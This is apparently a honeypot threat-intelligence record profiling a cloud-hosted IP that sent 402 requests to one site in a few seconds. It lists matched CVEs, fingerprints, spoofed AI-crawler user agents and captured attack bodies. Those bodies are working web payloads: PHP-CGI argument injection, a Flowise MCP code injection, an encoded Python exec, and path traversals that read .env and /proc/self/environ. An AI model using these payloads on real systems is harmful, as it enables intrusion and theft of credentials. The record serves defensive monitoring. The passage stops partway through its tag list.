{"ip":"34.178.199.198","total_events":402,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"73 exploit-path hits","confidence":"high","network_type":null,"why":["73 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 2,596,278 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"2,596,278 bytes sent","bytes_sent":2596278,"session_seconds":8,"persistent":false}},"first_seen":"2026-10-13T15:28:57","last_seen":"2026-10-13T15:29:06","events_24h":402,"events_7d":402,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"Groningen","city":"Groningen","lat":53.2222,"lon":6.5664,"asn":396982,"org":"Google LLC"},"source_domain":"198.199.178.34.bc.googleusercontent.com","known_scanners":[],"scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"},"cve_matches":[{"cve_id":"CVE-2022-22963","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2021-43798","title":"Grafana v8.x - Arbitrary File Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins"},{"cve_id":"CVE-2026-33017","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow"},{"cve_id":"CVE-2026-85688","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content"},{"cve_id":"CVE-2026-23536","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document"},{"cve_id":"CVE-2026-89013","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php"},{"cve_id":"CVE-2024-56159","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map"}],"malware":[],"udp":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":402}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13d1516h2_8daaf6152771_d8a2da3f94cd"],"tls_client_hello":"16030106fb010006f703032709d05bafb2e4f3baba455d62b9606bbf207e4a816fde71fb3d96f7c7bc338420f0588e369b14ba63af038fba7c382bacd1e861d7d18b98470a929ad7d970a0a600205a5a130113021303c02bc02fc02cc030cca9cca8c013c014009c009d002f00350100068e9a9a000000000017001500001273697465732e7072696e636875622e636f6d002b0007061a1a03040303fe0d00fa00000100016a0020aafd5a0f58a05389091a19e33bfeaf3730358a54c1dba6de20710b0e8fe7013000d01a560dc7c4dbf42a1b4c9f47212522732e0451c3bdcc4eb2b9a0b2e68ec16f886953509c752f13f302e13307da1c29510747eee9441aa4e184ca7fa727e272df102e0a0949434960126a2e746377f23a052bc9354f0a8e53c764a4501c04b308c9749cc91c7058d5eb133c88bbe00927afc4dc1714dc22b9624444f28e334cad2263834eb259c5dab6c2f03caf8a370b2e6e80dc8986de77e415220d2fe646e3cd37c993feddd33d5732a4937f3350ea65731fbcda225e3559ec57c166385c846d2a818e688d620e27a5abb396e6993b000d0012001004030804040105030805050108060601003304ef04ed4a4a00010011ec04c0807acb8e9b126b454581352bf7f3c7cf156371b8b6fc1b62bcb94efc6b4bd550bc90b828eba33ec016b51e87812519b8e953bfb7261ee093098bbcc101548001b870a6f49c77147b19daa29380906d4794f19c6994823f8910bebf19a1fa70cdb0e637edf914343232d2b6418489371e408795dac239c72b6e6b1e598a65efb2068534b75fd111ce72b87ec13a50e42123d29f64424bb05256b865c68e2c16b74b905b7951fd788ec19387dc238358bc8210446aac46afbd309faa93a171d395f3962e52185adba2149c904f71e1ab1fb3a877a34c729b84bbf112df3b8e5d477c9a394dd689848112435e956654d16ca2d00b74ca805d41c7fe386c87186ed49852f1f830b7c51abeb9b1331c34afa32b52e395fd5bc4cc116fdc5b458bd99236313e0692130667753fd2c85225bac0077a686b437d9c67cff206f25bb5b242c10ef924565c4e5edcbd3cf75dbfd71cb26549fe52c22be48ef76b1e16f7c4863c6e5752345e8285f9c554ef13b37080720ee5234f3c3786a524b0f917f93ba107a8763963228fa08f7503a594d904f31314e41744cfe859adabb448965ad0284360f0a478c4582525be887cccc7e7ce0ec873dde54dcaea605ae6afd2dc932868371be605ab1454c1aa026f8a0941c36d0d90bf1ba60c6eb011f5a08f7c3cbf6c2122eca64e6b6c283254612e08680aa68c3f313543187b67264e575820ad238e4db71f99e1378d3092d447405262192d4109324cbb911565e857b3320275949502d1bb21f587cc36246d1e578c784259213171bdf3623a588f18f68c3bac7e7bbb2a03a5babea53a40959ea4777708aa09078a56ed400d0eacaeb1e051ec2a7db36ab81641196ca127826a75cfd0ab0755bd84a247cbaaa3c77035394094fcf1010fbc0d3785c16f0100e41353de8918bb439bd0461bfd266f7d9c4cb5848b543b9ace12a8c2600c13270fb867aed9141a65ccab4ad21d010a9ec8e20d4f9c1f8d64a1c0366422868332cba996d316fc978cab5bce9154c10dc5176c7b8304447ad74c455f98b64b1b1bda01a73baa104068c3249b049c94a59f0925941824e34946e7273ee9804cf04b858a1ccbff3a61ad43a34d1401088c3820d865c91c6cae78a703039294281d727caab6398716754b2f5319d9367e010540df9208ba22a17cb5433eb3642a13cd5a399d6604cc0e5aa52e523e94a2b92b236081a7a665db59a380481c39632702ae304b6a4899131e95786e7ca4b06193bb526d5a3465cc7aca23e29dc2b80439564a06b1b9b44760274800dfa6102b191e5c0117f6f01b89f83bd33bc5b133a85ae4a5826c0e14f32cbea11c2e4c240dd0715914c8ad422d224aa72919a786744eda44bcc2a8b7aea0c5754425fc1395f30777d9356aa3090ae79bbffe5105af787f33192b3dc557bcca9c8878cec2ec16838b9a70f8c95993412af959d7d82eb8cb63fe2071f0fa7fcab28e1f0c6f49f920d6894137c6acc6b181cbdc6f18686731335cc8fc6dd25b897943a392843b73c9c9cd1587cfea94789393a398c637874c21017d77199bd45bab120282902a6ef1d1ac12270d28941b2d6022d66879f624cf56c60614d8cb8c131b1cf270a0458e27b93da03bc358b8ba46df950af28e11739f7f6868cbba9f2e525a52239b158249bb71044284ea5d4cc414ce89c6cc9a13c04b83ccbc2940bf6f2e224c78bea0585f21001d0020b9d2f0ab4e47c78704e2b86a22838ec48b5e605d7ab4ece6484c3f30b556d151ff010001000010000e000c02683208687474702f312e31000b00020100000500050100000000001b00030200020012000044cd0005000302683200230000002d00020101000a000c000a4a4a11ec001d00170018001700006a6a0001","tls_ja3":["0bd204312cc8550783725bad70e187c9","6ce2fbc84b1bb13b13c8f369f7414fb9","b5638dd538cb21a8a817016a807e2938","4092d0b87df2efdf32b25aeb76766446","f2f3dc6a44ce33356619f2fa25919d58"],"http_akin":["b11cun062_00040016_84d4cebf_xce00d0f1","b11cun162_000c73fe_fe528c8e_xce00d0f1","b11cuq082_00050816_8184102b_xd0f1e7f3","b11cuq150_10057dde_0ef1dcbb","b11cuq050_00050812_107c8b82"]},"fingerprint_peers":{"t13d1516h2_8daaf6152771_d8a2da3f94cd":23,"b11cun062_00040016_84d4cebf_xce00d0f1":17,"b11cun162_000c73fe_fe528c8e_xce00d0f1":17,"b11cuq082_00050816_8184102b_xd0f1e7f3":12,"b11cuq150_10057dde_0ef1dcbb":17,"b11cuq050_00050812_107c8b82":102},"akin_families":{"b11cuq082_00050816_8184102b_xd0f1e7f3":{"head":"b11cuq050_00050812_107c8b82","shapes":4,"ips":102},"b11cuq050_00050812_107c8b82":{"head":"b11cuq050_00050812_107c8b82","shapes":4,"ips":102}},"user_agents":["Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexity-user)","Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)","Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"],"timeline":[{"date":"2026-10-13","count":402}],"recent_events":[{"timestamp":"2026-10-13T15:29:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"141\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)\"}","body":"code=aW1wb3J0IG9zOyByYWlzZSBFeGNlcHRpb24ob3MucG9wZW4oJ2VudiAyPi9kZXYvbnVsbCB8fCBjYXQgL3Byb2Mvc2VsZi9lbnZpcm9uIDI-L2Rldi9udWxsJykucmVhZCgpKQ==","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/exec-py","summary":"","payload_hex":"504f5354202f657865632d707920485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20636f686572652d61693b202b68747470733a2f2f636f686572652e636f6d2f637261776c6572290d0a436f6e74656e742d4c656e6774683a203134310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a636f64653d6157317762334a304947397a4f79427959576c7a5a53424665474e6c634852706232346f62334d75634739775a57346f4a325675646941795069396b5a585976626e5673624342386643426a595851674c33427962324d76633256735a69396c626e5a70636d39754944492d4c32526c64693975645778734a796b75636d56685a4367704b513d3d","method":"POST","user_agent":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":63,"duration_ms":8366,"bytes_in":25153,"bytes_out":4977},{"timestamp":"2026-10-13T15:29:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook-test/","summary":"","payload_hex":"504f5354202f776562686f6f6b2d746573742f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20427974657370696465723b207370696465722d666565646261636b406279746564616e63652e636f6d29204170706c655765624b69742f3533372e33360d0a436f6e74656e742d4c656e6774683a2035320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":61,"duration_ms":8103,"bytes_in":24482,"bytes_out":4819},{"timestamp":"2026-10-13T15:29:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/webhook/","summary":"","payload_hex":"504f5354202f776562686f6f6b2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c466574636865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":60,"duration_ms":7967,"bytes_in":24197,"bytes_out":4740},{"timestamp":"2026-10-13T15:29:06","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"52\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"../../../../.env\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c466574636865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a436f6e74656e742d4c656e6774683a2035320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222e2e2f2e2e2f2e2e2f2e2e2f2e656e76227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":62,"duration_ms":8243,"bytes_in":24789,"bytes_out":4898},{"timestamp":"2026-10-13T15:29:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c61756465426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":56,"duration_ms":7441,"bytes_in":22879,"bytes_out":4424},{"timestamp":"2026-10-13T15:29:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"211\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)\"}","body":"{\"loadMethod\":\"listActions\",\"inputs\":{\"mcpServerConfig\":\"({x:(function(){return process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null').toString();})()} )\"}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/flowise/api/v1/node-load-method/customMCP","summary":"","payload_hex":"504f5354202f666c6f776973652f6170692f76312f6e6f64652d6c6f61642d6d6574686f642f637573746f6d4d435020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204475636b417373697374426f742f312e31202868747470733a2f2f6475636b6475636b676f2e636f6d2f6475636b617373697374626f74290d0a436f6e74656e742d4c656e6774683a203231310d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b226c6f61644d6574686f64223a226c697374416374696f6e73222c22696e70757473223a7b226d6370536572766572436f6e666967223a22287b783a2866756e6374696f6e28297b72657475726e2070726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e6578656353796e632827656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c27292e746f537472696e6728293b7d2928297d2029227d7d","method":"POST","user_agent":"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":57,"duration_ms":7573,"bytes_in":23322,"bytes_out":4503},{"timestamp":"2026-10-13T15:29:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068703f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2043686174474c4d2d5370696465722f312e303b202b68747470733a2f2f7a6869707561692e636e2f290d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":54,"duration_ms":7167,"bytes_in":22049,"bytes_out":4266},{"timestamp":"2026-10-13T15:29:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"90\",\"content-type\":\"text/plain\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)\"}","body":"echo Content-Type: text/plain; echo; env 2>/dev/null || cat /proc/self/environ 2>/dev/null","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b2043686174474c4d2d5370696465722f312e303b202b68747470733a2f2f7a6869707561692e636e2f290d0a436f6e74656e742d4c656e6774683a2039300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a6563686f20436f6e74656e742d547970653a20746578742f706c61696e3b206563686f3b20656e7620323e2f6465762f6e756c6c207c7c20636174202f70726f632f73656c662f656e7669726f6e20323e2f6465762f6e756c6c","method":"POST","user_agent":"Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":55,"duration_ms":7303,"bytes_in":22397,"bytes_out":4345},{"timestamp":"2026-10-13T15:29:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"64\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot\"}","body":"<?php echo shell_exec('env 2>/dev/null || set 2>nul'); die(); ?>","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/cgi-bin/php-cgi?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input","summary":"","payload_hex":"504f5354202f6367692d62696e2f7068702d6367693f2d642b616c6c6f775f75726c5f696e636c7564652533646f6e2b2d642b6175746f5f70726570656e645f66696c652533647068703a2f2f696e70757420485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f293b20636f6d70617469626c653b20475054426f742f312e343b202b68747470733a2f2f6f70656e61692e636f6d2f677074626f740d0a436f6e74656e742d4c656e6774683a2036340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a3c3f706870206563686f207368656c6c5f657865632827656e7620323e2f6465762f6e756c6c207c7c2073657420323e6e756c27293b2064696528293b203f3e","method":"POST","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":53,"duration_ms":7024,"bytes_in":21696,"bytes_out":4187},{"timestamp":"2026-10-13T15:29:05","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"54\",\"content-type\":\"application/json\",\"host\":\"sites.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36\"}","body":"{\"files\":{\"data\":[{\"filepath\":\"/proc/self/environ\"}]}}","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/form/","summary":"","payload_hex":"504f5354202f666f726d2f20485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d0d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20427974657370696465723b207370696465722d666565646261636b406279746564616e63652e636f6d29204170706c655765624b69742f3533372e33360d0a436f6e74656e742d4c656e6774683a2035340d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b2266696c6573223a7b2264617461223a5b7b2266696c6570617468223a222f70726f632f73656c662f656e7669726f6e227d5d7d7d","method":"POST","user_agent":"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36","ja3":"64377d7fb14f96d7ad5e48d50d657dbc","session":"9446995c-5167-46f8-b726-adc7cae348d7","seq":59,"duration_ms":7823,"bytes_in":23885,"bytes_out":4661}],"http_methods":[{"method":"GET","count":358},{"method":"POST","count":41},{"method":"DELETE","count":3}],"distinct_ports_total":1,"top_paths":[{"path":"/form/","count":2,"ports":1},{"path":"/feast/read-document","count":2,"ports":1},{"path":"/read-document","count":2,"ports":1},{"path":"/","count":2,"ports":1},{"path":"/api/templates/preview","count":2,"ports":1},{"path":"/api/designer/v1/file-content","count":2,"ports":1},{"path":"/webhook-test/","count":2,"ports":1},{"path":"/firebase-credentials.json","count":1,"ports":1},{"path":"/docker-compose.override.yml","count":1,"ports":1},{"path":"/serverless.yaml","count":1,"ports":1},{"path":"/.env.live","count":1,"ports":1},{"path":"/functionRouter","count":1,"ports":1},{"path":"/static//app/.env","count":1,"ports":1},{"path":"/.cargo/credentials.toml","count":1,"ports":1},{"path":"/iwc4m54pelup890sq2sp","count":1,"ports":1}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":402}],"top_hosts":[{"value":"sites.princhub.com","count":402}],"top_alpns":[{"value":"h2, http/1.1","count":402}],"banners":[],"credentials":[{"username":"","password":"bypass","count":2}],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"141","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"sites.princhub.com","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2022-22963","tag_type":"cve","title":"Spring Cloud - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/functionRouter","reference_urls":["https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f","https://github.com/cckuailong/spring-cloud-function-SpEL-RCE","https://tanzu.vmware.com/security/cve-2022-22963","https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/","https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection"]},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2021-43798","tag_type":"cve","title":"Grafana v8.x - Arbitrary File 